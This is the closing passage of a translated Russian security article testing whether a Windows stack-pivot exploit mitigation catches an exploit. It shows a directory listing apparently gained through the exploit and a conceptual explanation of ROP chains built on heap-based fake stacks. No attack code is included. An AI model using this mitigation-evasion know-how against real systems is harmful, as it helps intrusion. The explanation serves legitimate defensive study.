 Directory of C:\Users\chad.JMPESP

06/11/2020  08:39 PM    <DIR>          .
06/11/2020  08:39 PM    <DIR>          ..
06/11/2020  08:39 PM             1,194 .bash_history
05/30/2020  11:34 AM                80 .gitconfig
05/30/2020  10:58 AM    <DIR>          .ssh
05/31/2020  09:21 AM             1,101 .viminfo
05/30/2020  10:59 AM    <DIR>          .vscode
05/30/2020  10:55 AM    <DIR>          3D Objects
05/30/2020  10:55 AM    <DIR>          Contacts
06/27/2020  12:42 PM    <DIR>          Desktop
05/30/2020  10:58 AM    <DIR>          Documents
06/11/2020  08:50 PM    <DIR>          Downloads
05/30/2020  10:55 AM    <DIR>          Favorites
05/30/2020  10:55 AM    <DIR>          Links
05/30/2020  10:55 AM    <DIR>          Music
05/31/2020  10:57 AM    <DIR>          OneDrive
05/31/2020  02:22 PM    <DIR>          PESecurity
05/30/2020  10:55 AM    <DIR>          Pictures
05/30/2020  10:55 AM    <DIR>          Saved Games
05/30/2020  10:55 AM    <DIR>          Searches
05/30/2020  11:30 AM    <DIR>          Videos
               3 File(s)          2,375 bytes
              18 Dir(s)   6,126,120,960 bytes free

C:\Users\chad.JMPESP>

Сначала этот результат был немного странным, учитывая тот факт, что пользователь работает со стеком. Но после стало понятно, почему так происходит: пользователь создает поддельные кадры стека в другой области памяти (например, в куче), которые формируют цепочку ROP, а затем меняет ESP, чтобы указать на этот новый, контролируемый злоумышленником стек. Эксплойт, который был применен, не пытается создать поддельные кадры стека в другой области.

Результат: отсутствие защиты.

Автор переведенной статьи: Chad Duffey.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

Поделиться ссылкой

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

1 × пять =